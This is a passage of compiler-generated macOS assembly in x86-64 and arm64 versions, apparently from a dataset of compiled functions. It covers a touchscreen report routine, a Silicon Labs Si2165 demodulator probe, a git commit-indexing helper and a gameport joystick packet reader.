___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp add x8, x8, #15 and x8, x8, #0x7fffffff0 sub x20, x9, x8 mov sp, x20 Lloh10: adrp x8, _LENGTH_OF_BUFFER@GOTPAGE Lloh11: ldr x8, [x8, _LENGTH_OF_BUFFER@GOTPAGEOFF] Lloh12: ldr w8, [x8] lsl x8, x8, #2 mov x9, x8 Lloh13: adrp x16, ___chkstk_darwin@GOTPAGE Lloh14: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp add x8, x8, #15 and x8, x8, #0x7fffffff0 sub x24, x9, x8 mov sp, x24 mov x1, x24 bl _bu21013_read_block_data tbnz x0, #63, LBB0_7 ; %bb.1: ldr w8, [x24] Lloh15: adrp x9, _BU21013_SENSORS_EN_0_7@GOTPAGE Lloh16: ldr x9, [x9, _BU21013_SENSORS_EN_0_7@GOTPAGEOFF] Lloh17: ldr w9, [x9] orr w0, w9, w8 bl _hweight32 mov x23, x0 Lloh18: adrp x8, _BU21013_SENSORS_EN_8_15@GOTPAGE Lloh19: ldr x8, [x8, _BU21013_SENSORS_EN_8_15@GOTPAGEOFF] Lloh20: ldr w8, [x8] ldp w9, w10, [x24, #4] Lloh21: adrp x11, _BU21013_SENSORS_EN_16_23@GOTPAGE Lloh22: ldr x11, [x11, _BU21013_SENSORS_EN_16_23@GOTPAGEOFF] and w8, w8, w9 Lloh23: ldr w9, [x11] and w9, w9, w10 Lloh24: adrp x10, _SHIFT_8@GOTPAGE Lloh25: ldr x10, [x10, _SHIFT_8@GOTPAGEOFF] Lloh26: ldr w10, [x10] lsl w9, w9, w10 orr w8, w9, w8 Lloh27: adrp x26, _SHIFT_2@GOTPAGE Lloh28: ldr x26, [x26, _SHIFT_2@GOTPAGEOFF] ldr w9, [x26] lsr w0, w8, w9 bl _hweight32 cmp w23, #0 ccmp w0, #0, #4, ne b.eq LBB0_17 ; %bb.2: Lloh29: adrp x8, _MAX_FINGERS@GOTPAGE Lloh30: ldr x8, [x8, _MAX_FINGERS@GOTPAGEOFF] Lloh31: ldr w9, [x8] cmp w9, #0 b.le LBB0_12 ; %bb.3: mov w27, #0 ; =0x0 ldr w8, [x26] Lloh32: adrp x25, _MASK_BITS@GOTPAGE Lloh33: ldr x25, [x25, _MASK_BITS@GOTPAGEOFF] ldr w10, [x25] sub x24, x24, #4 mov w28, #1 ; =0x1 b LBB0_5 LBB0_4: ; in Loop: Header=BB0_5 Depth=1 sub x24, x24, #16 sub x28, x28, #1 cmp x28, w9, sxtw b.gt LBB0_8 LBB0_5: ; =>This Inner Loop Header: Depth=1 ldp w11, w12, [x24, #-8] lsl w11, w11, w8 and w12, w10, w12 orr w2, w12, w11 ldp w11, w12, [x24] lsl w11, w11, w8 and w12, w12, w10 orr w3, w12, w11 cmp w2, #0 ccmp w3, #0, #4, ne b.eq LBB0_4 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 add w23, w27, #1 add x0, x21, w27, sxtw #4 mov x1, x22 bl _touchscreen_set_mt_pos ldr w8, [x26] ldr w10, [x25] mov x27, x23 Lloh34: adrp x9, _MAX_FINGERS@GOTPAGE Lloh35: ldr x9, [x9, _MAX_FINGERS@GOTPAGEOFF] Lloh36: ldr w9, [x9] b LBB0_4 LBB0_7: Lloh37: adrp x8, _EINVAL@GOTPAGE Lloh38: ldr x8, [x8, _EINVAL@GOTPAGEOFF] Lloh39: ldr w8, [x8] neg w0, w8 b LBB0_18 LBB0_8: cmp w27, #2 b.ne LBB0_13 ; %bb.9: ldr x8, [x21, #8] ldr x9, [x21, #24] sub x0, x8, x9 bl _abs Lloh40: adrp x22, _DELTA_MIN@GOTPAGE Lloh41: ldr x22, [x22, _DELTA_MIN@GOTPAGEOFF] ldr x8, [x22] cmp x0, x8 b.lt LBB0_17 ; %bb.10: ldr x8, [x21] ldr x9, [x21, #16] sub x0, x8, x9 bl _abs ldr x4, [x22] cmp x0, x4 b.lt LBB0_17 ; %bb.11: mov x0, x19 mov x1, x20 mov x2, x21 mov x3, x27 bl _input_mt_assign_slots mov w27, #2 ; =0x2 b LBB0_14 LBB0_12: Lloh42: adrp x8, _DELTA_MIN@GOTPAGE Lloh43: ldr x8, [x8, _DELTA_MIN@GOTPAGEOFF] Lloh44: ldr x4, [x8] mov x0, x19 mov x1, x20 mov x2, x21 mov w3, #0 ; =0x0 bl _input_mt_assign_slots b LBB0_16 LBB0_13: Lloh45: adrp x8, _DELTA_MIN@GOTPAGE Lloh46: ldr x8, [x8, _DELTA_MIN@GOTPAGEOFF] Lloh47: ldr x4, [x8] mov x0, x19 mov x1, x20 mov x2, x21 mov x3, x27 bl _input_mt_assign_slots cmp w27, #1 b.lt LBB0_16 LBB0_14: Lloh48: adrp x22, _MT_TOOL_FINGER@GOTPAGE Lloh49: ldr x22, [x22, _MT_TOOL_FINGER@GOTPAGEOFF] add x21, x21, #8 Lloh50: adrp x24, _ABS_MT_POSITION_X@GOTPAGE Lloh51: ldr x24, [x24, _ABS_MT_POSITION_X@GOTPAGEOFF] Lloh52: adrp x25, _ABS_MT_POSITION_Y@GOTPAGE Lloh53: ldr x25, [x25, _ABS_MT_POSITION_Y@GOTPAGEOFF] mov w23, w27 LBB0_15: ; =>This Inner Loop Header: Depth=1 ldr w1, [x20], #4 mov x0, x19 bl _input_mt_slot ldr w1, [x22] mov x0, x19 mov w2, #1 ; =0x1 bl _input_mt_report_slot_state ldr w1, [x24] ldr x2, [x21] mov x0, x19 bl _input_report_abs ldr w1, [x25] ldur x2, [x21, #-8] mov x0, x19 bl _input_report_abs add x21, x21, #16 subs x23, x23, #1 b.ne LBB0_15 LBB0_16: mov x0, x19 bl _input_mt_sync_frame mov x0, x19 bl _input_sync LBB0_17: mov w0, #0 ; =0x0 LBB0_18: ldur x8, [x29, #-88] Lloh54: adrp x9, ___stack_chk_guard@GOTPAGE Lloh55: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh56: ldr x9, [x9] cmp x9, x8 b.ne LBB0_20 ; %bb.19: sub sp, x29, #80 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret LBB0_20: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh27, Lloh28 .loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26 .loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23 .loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20 .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .loh AdrpLdrGotLdr Lloh29, Lloh30, Lloh31 .loh AdrpLdrGot Lloh32, Lloh33 .loh AdrpLdrGotLdr Lloh34, Lloh35, Lloh36 .loh AdrpLdrGotLdr Lloh37, Lloh38, Lloh39 .loh AdrpLdrGot Lloh40, Lloh41 .loh AdrpLdrGotLdr Lloh42, Lloh43, Lloh44 .loh AdrpLdrGotLdr Lloh45, Lloh46, Lloh47 .loh AdrpLdrGot Lloh52, Lloh53 .loh AdrpLdrGot Lloh50, Lloh51 .loh AdrpLdrGot Lloh48, Lloh49 .loh AdrpLdrGotLdr Lloh54, Lloh55, Lloh56 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGot Lloh13, Lloh14 .cfi_endproc ; -- End function .comm _MAX_FINGERS,4,2 ; @MAX_FINGERS .comm _LENGTH_OF_BUFFER,4,2 ; @LENGTH_OF_BUFFER .comm _EINVAL,4,2 ; @EINVAL .comm _BU21013_SENSORS_EN_0_7,4,2 ; @BU21013_SENSORS_EN_0_7 .comm _BU21013_SENSORS_EN_8_15,4,2 ; @BU21013_SENSORS_EN_8_15 .comm _BU21013_SENSORS_EN_16_23,4,2 ; @BU21013_SENSORS_EN_16_23 .comm _SHIFT_8,4,2 ; @SHIFT_8 .comm _SHIFT_2,4,2 ; @SHIFT_2 .comm _MASK_BITS,4,2 ; @MASK_BITS .comm _DELTA_MIN,8,3 ; @DELTA_MIN .comm _MT_TOOL_FINGER,4,2 ; @MT_TOOL_FINGER .comm _ABS_MT_POSITION_X,4,2 ; @ABS_MT_POSITION_X .comm _ABS_MT_POSITION_Y,4,2 ; @ABS_MT_POSITION_Y .no_dead_strip _bu21013_do_touch_report .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function si2165_probe _si2165_probe: ## @si2165_probe .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r14 movq (%rdi), %r12 movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi movl $96, %edi callq _kzalloc movq %rax, %rbx testq %rax, %rax je LBB0_1 ## %bb.2: leaq _si2165_probe.regmap_config(%rip), %rsi movq %r14, %rdi callq _devm_regmap_init_i2c movl %eax, 88(%rbx) movl %eax, %edi callq _IS_ERR testq %rax, %rax je LBB0_4 ## %bb.3: movl 88(%rbx), %edi callq _PTR_ERR movl %eax, %r15d jmp LBB0_23 LBB0_1: movq _ENOMEM@GOTPCREL(%rip), %rax jmp LBB0_22 LBB0_4: movq %r14, 56(%rbx) movl 8(%r14), %eax movl %eax, 80(%rbx) movq (%r12), %rax movq %rax, 64(%rbx) movl 8(%r12), %eax movl %eax, 72(%rbx) movl 24(%r12), %eax movl %eax, 76(%rbx) leaq 24(%rbx), %r15 movq _si2165_ops@GOTPCREL(%rip), %rsi movq %r15, %rdi movl $4, %edx callq _memcpy movq $0, 40(%rbx) movq %rbx, 48(%rbx) movq %r14, %rdi movq %rbx, %rsi callq _i2c_set_clientdata movq _REG_CHIP_MODE@GOTPCREL(%rip), %r13 movl (%r13), %esi movq 64(%rbx), %rdx movq %rbx, %rdi callq _si2165_writereg8 testl %eax, %eax js LBB0_21 ## %bb.5: movl (%r13), %esi leaq -48(%rbp), %rdx movq %rbx, %rdi callq _si2165_readreg8 testl %eax, %eax js LBB0_21 ## %bb.6: movq -48(%rbp), %rax cmpq 64(%rbx), %rax jne LBB0_21 ## %bb.7: movq _REG_CHIP_REVCODE@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movq %rbx, %rdx callq _si2165_readreg8 testl %eax, %eax js LBB0_21 ## %bb.8: movq _REV_CHIP_TYPE@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdx addq $8, %rdx movq %rbx, %rdi callq _si2165_readreg8 testl %eax, %eax js LBB0_21 ## %bb.9: movl (%r13), %esi movq _SI2165_MODE_OFF@GOTPCREL(%rip), %rax movq (%rax), %rdx movq %rbx, %rdi callq _si2165_writereg8 testl %eax, %eax js LBB0_21 ## %bb.10: movq (%rbx), %rcx movq 8(%rbx), %r8 movb $65, %al subb %cl, %al cmpq $26, %rcx movzbl %al, %edx movl $63, %eax cmovll %edx, %eax cmpq $7, %r8 je LBB0_13 ## %bb.11: cmpq $6, %r8 jne LBB0_20 ## %bb.12: movl $1, 16(%rbx) leaq L_.str.1(%rip), %r14 jmp LBB0_14 LBB0_13: movabsq $4294967297, %rdx ## imm = 0x100000001 movq %rdx, 16(%rbx) leaq L_.str.2(%rip), %r14 LBB0_14: movq 56(%rbx), %rdi movsbl %al, %eax movsbl %cl, %r9d leaq L_.str.4(%rip), %rsi movq %r14, %rdx movl %eax, %ecx ## kill: def $r8d killed $r8d killed $r8 callq _dev_info movl 24(%rbx), %edi movq %r14, %rsi movl $4, %edx callq _strlcat cmpl $0, 16(%rbx) je LBB0_15 ## %bb.16: movq _SYS_DVBT@GOTPCREL(%rip), %rax movl (%rax), %eax movq 32(%rbx), %rcx movl %eax, (%rcx) movl 24(%rbx), %edi leaq L_.str.5(%rip), %rsi movl $4, %edx callq _strlcat movq $-1, %rax jmp LBB0_17 LBB0_20: movq 56(%rbx), %rdi leaq L_.str.3(%rip), %rsi movl %r8d, %edx xorl %eax, %eax callq _dev_err LBB0_21: movq _ENODEV@GOTPCREL(%rip), %rax LBB0_22: xorl %r15d, %r15d subl (%rax), %r15d LBB0_23: movq %rbx, %rdi callq _kfree leaq L_.str.7(%rip), %rsi movq %r14, %rdi movl %r15d, %edx callq _dev_dbg LBB0_24: movl %r15d, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_15: xorl %eax, %eax LBB0_17: cmpl $0, 20(%rbx) je LBB0_19 ## %bb.18: movq _SYS_DVBC_ANNEX_A@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movq 32(%rbx), %rdx movl %ecx, (%rdx,%rax,4) movl 24(%rbx), %edi leaq L_.str.6(%rip), %rsi movl $4, %edx callq _strlcat LBB0_19: movq 16(%r12), %rax movq %r15, (%rax) xorl %r15d, %r15d jmp LBB0_24 .cfi_endproc ## -- End function .section __TEXT,__const .p2align 2, 0x0 ## @si2165_probe.regmap_config _si2165_probe.regmap_config: .long 16 ## 0x10 .long 8 ## 0x8 .long 2303 ## 0x8ff .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .comm _EINVAL,4,2 ## @EINVAL .comm _si2165_ops,4,2 ## @si2165_ops .comm _REG_CHIP_MODE,4,2 ## @REG_CHIP_MODE .comm _REG_CHIP_REVCODE,4,2 ## @REG_CHIP_REVCODE .comm _REV_CHIP_TYPE,4,2 ## @REV_CHIP_TYPE .comm _SI2165_MODE_OFF,8,3 ## @SI2165_MODE_OFF .section __TEXT,__cstring,cstring_literals L_.str.1: ## @.str.1 .asciz "Si2161" L_.str.2: ## @.str.2 .asciz "Si2165" L_.str.3: ## @.str.3 .asciz "Unsupported Silicon Labs chip (type %d, rev %d)\n" L_.str.4: ## @.str.4 .asciz "Detected Silicon Labs %s-%c (type %d, rev %d)\n" .comm _SYS_DVBT,4,2 ## @SYS_DVBT L_.str.5: ## @.str.5 .asciz " DVB-T" .comm _SYS_DVBC_ANNEX_A,4,2 ## @SYS_DVBC_ANNEX_A L_.str.6: ## @.str.6 .asciz " DVB-C" .comm _ENODEV,4,2 ## @ENODEV L_.str.7: ## @.str.7 .asciz "failed=%d\n" .no_dead_strip _si2165_probe .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function si2165_probe _si2165_probe: ; @si2165_probe .cfi_startproc ; %bb.0: sub sp, sp, #80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x20, x0 ldr x23, [x0] Lloh0: adrp x8, _GFP_KERNEL@GOTPAGE Lloh1: ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] Lloh2: ldr w1, [x8] mov w0, #96 ; =0x60 bl _kzalloc mov x19, x0 cbz x0, LBB0_3 ; %bb.1: Lloh3: adrp x1, _si2165_probe.regmap_config@PAGE Lloh4: add x1, x1, _si2165_probe.regmap_config@PAGEOFF mov x0, x20 bl _devm_regmap_init_i2c str w0, [x19, #88] bl _IS_ERR cbz x0, LBB0_4 ; %bb.2: ldr w0, [x19, #88] bl _PTR_ERR mov x22, x0 b LBB0_19 LBB0_3: Lloh5: adrp x8, _ENOMEM@GOTPAGE Lloh6: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] b LBB0_18 LBB0_4: ldr w8, [x20, #8] str w8, [x19, #80] ldr x8, [x23] stp x20, x8, [x19, #56] ldr w8, [x23, #8] ldr w9, [x23, #24] stp w8, w9, [x19, #72] add x21, x19, #24 Lloh7: adrp x1, _si2165_ops@GOTPAGE Lloh8: ldr x1, [x1, _si2165_ops@GOTPAGEOFF] mov x0, x21 mov w2, #4 ; =0x4 bl _memcpy stp xzr, x19, [x19, #40] mov x0, x20 mov x1, x19 bl _i2c_set_clientdata Lloh9: adrp x22, _REG_CHIP_MODE@GOTPAGE Lloh10: ldr x22, [x22, _REG_CHIP_MODE@GOTPAGEOFF] ldr w1, [x22] ldr x2, [x19, #64] mov x0, x19 bl _si2165_writereg8 tbnz w0, #31, LBB0_17 ; %bb.5: ldr w1, [x22] add x2, sp, #8 mov x0, x19 bl _si2165_readreg8 tbnz w0, #31, LBB0_17 ; %bb.6: ldr x8, [sp, #8] ldr x9, [x19, #64] cmp x8, x9 b.ne LBB0_17 ; %bb.7: Lloh11: adrp x8, _REG_CHIP_REVCODE@GOTPAGE Lloh12: ldr x8, [x8, _REG_CHIP_REVCODE@GOTPAGEOFF] Lloh13: ldr w1, [x8] mov x0, x19 mov x2, x19 bl _si2165_readreg8 tbnz w0, #31, LBB0_17 ; %bb.8: Lloh14: adrp x8, _REV_CHIP_TYPE@GOTPAGE Lloh15: ldr x8, [x8, _REV_CHIP_TYPE@GOTPAGEOFF] Lloh16: ldr w1, [x8] add x2, x19, #8 mov x0, x19 bl _si2165_readreg8 tbnz w0, #31, LBB0_17 ; %bb.9: ldr w1, [x22] Lloh17: adrp x8, _SI2165_MODE_OFF@GOTPAGE Lloh18: ldr x8, [x8, _SI2165_MODE_OFF@GOTPAGEOFF] Lloh19: ldr x2, [x8] mov x0, x19 bl _si2165_writereg8 tbnz w0, #31, LBB0_17 ; %bb.10: mov w9, #65 ; =0x41 ldp x8, x4, [x19] sub w9, w9, w8 cmp x8, #26 mov w10, #63 ; =0x3f csel w9, w9, w10, lt cmp x4, #7 b.eq LBB0_13 ; %bb.11: cmp x4, #6 b.ne LBB0_16 ; %bb.12: mov w10, #1 ; =0x1 str w10, [x19, #16] Lloh20: adrp x20, l_.str.1@PAGE Lloh21: add x20, x20, l_.str.1@PAGEOFF b LBB0_14 LBB0_13: movi.2s v0, #1 str d0, [x19, #16] Lloh22: adrp x20, l_.str.2@PAGE Lloh23: add x20, x20, l_.str.2@PAGEOFF LBB0_14: sxtb w5, w8 sxtb w3, w9 ldr x0, [x19, #56] Lloh24: adrp x1, l_.str.4@PAGE Lloh25: add x1, x1, l_.str.4@PAGEOFF mov x2, x20 ; kill: def $w4 killed $w4 killed $x4 bl _dev_info ldr w0, [x19, #24] mov x1, x20 mov w2, #4 ; =0x4 bl _strlcat ldr w8, [x19, #16] cbz w8, LBB0_21 ; %bb.15: Lloh26: adrp x8, _SYS_DVBT@GOTPAGE Lloh27: ldr x8, [x8, _SYS_DVBT@GOTPAGEOFF] Lloh28: ldr w8, [x8] ldr x9, [x19, #32] str w8, [x9] ldr w0, [x19, #24] Lloh29: adrp x1, l_.str.5@PAGE Lloh30: add x1, x1, l_.str.5@PAGEOFF mov w2, #4 ; =0x4 bl _strlcat mov x8, #-1 ; =0xffffffffffffffff b LBB0_22 LBB0_16: ldr x0, [x19, #56] str x8, [sp] Lloh31: adrp x1, l_.str.3@PAGE Lloh32: add x1, x1, l_.str.3@PAGEOFF mov x2, x4 bl _dev_err LBB0_17: Lloh33: adrp x8, _ENODEV@GOTPAGE Lloh34: ldr x8, [x8, _ENODEV@GOTPAGEOFF] LBB0_18: ldr w8, [x8] neg w22, w8 LBB0_19: mov x0, x19 bl _kfree Lloh35: adrp x1, l_.str.7@PAGE Lloh36: add x1, x1, l_.str.7@PAGEOFF mov x0, x20 mov x2, x22 bl _dev_dbg LBB0_20: mov x0, x22 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret LBB0_21: mov x8, #0 ; =0x0 LBB0_22: ldr w9, [x19, #20] cbz w9, LBB0_24 ; %bb.23: Lloh37: adrp x9, _SYS_DVBC_ANNEX_A@GOTPAGE Lloh38: ldr x9, [x9, _SYS_DVBC_ANNEX_A@GOTPAGEOFF] Lloh39: ldr w9, [x9] ldr x10, [x19, #32] str w9, [x10, x8, lsl #2] ldr w0, [x19, #24] Lloh40: adrp x1, l_.str.6@PAGE Lloh41: add x1, x1, l_.str.6@PAGEOFF mov w2, #4 ; =0x4 bl _strlcat LBB0_24: mov w22, #0 ; =0x0 ldr x8, [x23, #16] str x21, [x8] b LBB0_20 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpLdrGot Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpAdd Lloh20, Lloh21 .loh AdrpAdd Lloh22, Lloh23 .loh AdrpAdd Lloh24, Lloh25 .loh AdrpAdd Lloh29, Lloh30 .loh AdrpLdrGotLdr Lloh26, Lloh27, Lloh28 .loh AdrpAdd Lloh31, Lloh32 .loh AdrpLdrGot Lloh33, Lloh34 .loh AdrpAdd Lloh35, Lloh36 .loh AdrpAdd Lloh40, Lloh41 .loh AdrpLdrGotLdr Lloh37, Lloh38, Lloh39 .cfi_endproc ; -- End function .section __TEXT,__const .p2align 2, 0x0 ; @si2165_probe.regmap_config _si2165_probe.regmap_config: .long 16 ; 0x10 .long 8 ; 0x8 .long 2303 ; 0x8ff .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .comm _EINVAL,4,2 ; @EINVAL .comm _si2165_ops,4,2 ; @si2165_ops .comm _REG_CHIP_MODE,4,2 ; @REG_CHIP_MODE .comm _REG_CHIP_REVCODE,4,2 ; @REG_CHIP_REVCODE .comm _REV_CHIP_TYPE,4,2 ; @REV_CHIP_TYPE .comm _SI2165_MODE_OFF,8,3 ; @SI2165_MODE_OFF .section __TEXT,__cstring,cstring_literals l_.str.1: ; @.str.1 .asciz "Si2161" l_.str.2: ; @.str.2 .asciz "Si2165" l_.str.3: ; @.str.3 .asciz "Unsupported Silicon Labs chip (type %d, rev %d)\n" l_.str.4: ; @.str.4 .asciz "Detected Silicon Labs %s-%c (type %d, rev %d)\n" .comm _SYS_DVBT,4,2 ; @SYS_DVBT l_.str.5: ; @.str.5 .asciz " DVB-T" .comm _SYS_DVBC_ANNEX_A,4,2 ; @SYS_DVBC_ANNEX_A l_.str.6: ; @.str.6 .asciz " DVB-C" .comm _ENODEV,4,2 ; @ENODEV l_.str.7: ; @.str.7 .asciz "failed=%d\n" .no_dead_strip _si2165_probe .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function index_commit_for_bitmap _index_commit_for_bitmap: ## @index_commit_for_bitmap .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdi, %rbx movq _indexed_commits_nr@GOTPCREL(%rip), %r14 movl (%r14), %eax movq _indexed_commits_alloc@GOTPCREL(%rip), %rcx movl (%rcx), %edx cmpl %edx, %eax jl LBB0_2 ## %bb.1: leal -64(,%rdx,2), %esi movl %esi, (%rcx) movq _indexed_commits@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _REALLOC_ARRAY movl (%r14), %eax LBB0_2: movq _indexed_commits@GOTPCREL(%rip), %rcx movq (%rcx), %rcx leal 1(%rax), %edx movl %edx, (%r14) cltq movq %rbx, (%rcx,%rax,8) popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .comm _indexed_commits_nr,4,2 ## @indexed_commits_nr .comm _indexed_commits_alloc,4,2 ## @indexed_commits_alloc .comm _indexed_commits,8,3 ## @indexed_commits .no_dead_strip _index_commit_for_bitmap .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function index_commit_for_bitmap _index_commit_for_bitmap: ; @index_commit_for_bitmap .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 Lloh0: adrp x20, _indexed_commits_nr@GOTPAGE Lloh1: ldr x20, [x20, _indexed_commits_nr@GOTPAGEOFF] ldr w8, [x20] Lloh2: adrp x9, _indexed_commits_alloc@GOTPAGE Lloh3: ldr x9, [x9, _indexed_commits_alloc@GOTPAGEOFF] ldr w10, [x9] Lloh4: adrp x21, _indexed_commits@GOTPAGE Lloh5: ldr x21, [x21, _indexed_commits@GOTPAGEOFF] cmp w8, w10 b.lt LBB0_2 ; %bb.1: lsl w8, w10, #1 sub w1, w8, #64 str w1, [x9] ldr x0, [x21] bl _REALLOC_ARRAY ldr w8, [x20] LBB0_2: ldr x9, [x21] add w10, w8, #1 str w10, [x20] str x19, [x9, w8, sxtw #3] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _indexed_commits_nr,4,2 ; @indexed_commits_nr .comm _indexed_commits_alloc,4,2 ; @indexed_commits_alloc .comm _indexed_commits,8,3 ; @indexed_commits .no_dead_strip _index_commit_for_bitmap .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function gf2k_read_packet _gf2k_read_packet: ## @gf2k_read_packet .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %rbx movq %rdi, %r14 movq _GF2K_START@GOTPCREL(%rip), %rax movl (%rax), %esi callq _gameport_time movq _GF2K_STROBE@GOTPCREL(%rip), %rax movl (%rax), %esi movq %r14, %rdi callq _gameport_time callq _local_irq_save movq %r14, %rdi callq _gameport_trigger movq %r14, %rdi callq _gameport_read xorl %r15d, %r15d .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movl %eax, %r12d movq %r14, %rdi callq _gameport_read notb %r12b andb $16, %r12b orb %al, %r12b je LBB0_1 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl %eax, %ecx shrb $5, %cl movl %r15d, %edx incl %r15d movb %cl, (%rbx,%rdx) jmp LBB0_1 .cfi_endproc ## -- End function .comm _GF2K_START,4,2 ## @GF2K_START .comm _GF2K_STROBE,4,2 ## @GF2K_STROBE .no_dead_strip _gf2k_read_packet .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function gf2k_read_packet _gf2k_read_packet: ; @gf2k_read_packet .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x2 mov x20, x0 Lloh0: adrp x8, _GF2K_START@GOTPAGE Lloh1: ldr x8, [x8, _GF2K_START@GOTPAGEOFF] Lloh2: ldr w1, [x8] bl _gameport_time Lloh3: adrp x8, _GF2K_STROBE@GOTPAGE Lloh4: ldr x8, [x8, _GF2K_STROBE@GOTPAGEOFF] Lloh5: ldr w1, [x8] mov x0, x20 bl _gameport_time bl _local_irq_save mov x0, x20 bl _gameport_trigger mov x0, x20 bl _gameport_read mov x21, #0 ; =0x0 mov w22, #16 ; =0x10 LBB0_1: ; =>This Inner Loop Header: Depth=1 mov x23, x0 mov x0, x20 bl _gameport_read bic w8, w22, w23 orr w8, w8, w0 cbz w8, LBB0_1 ; %bb.2: ; in Loop: Header=BB0_1 Depth=1 lsr w8, w0, #5 strb w8, [x19, x21] 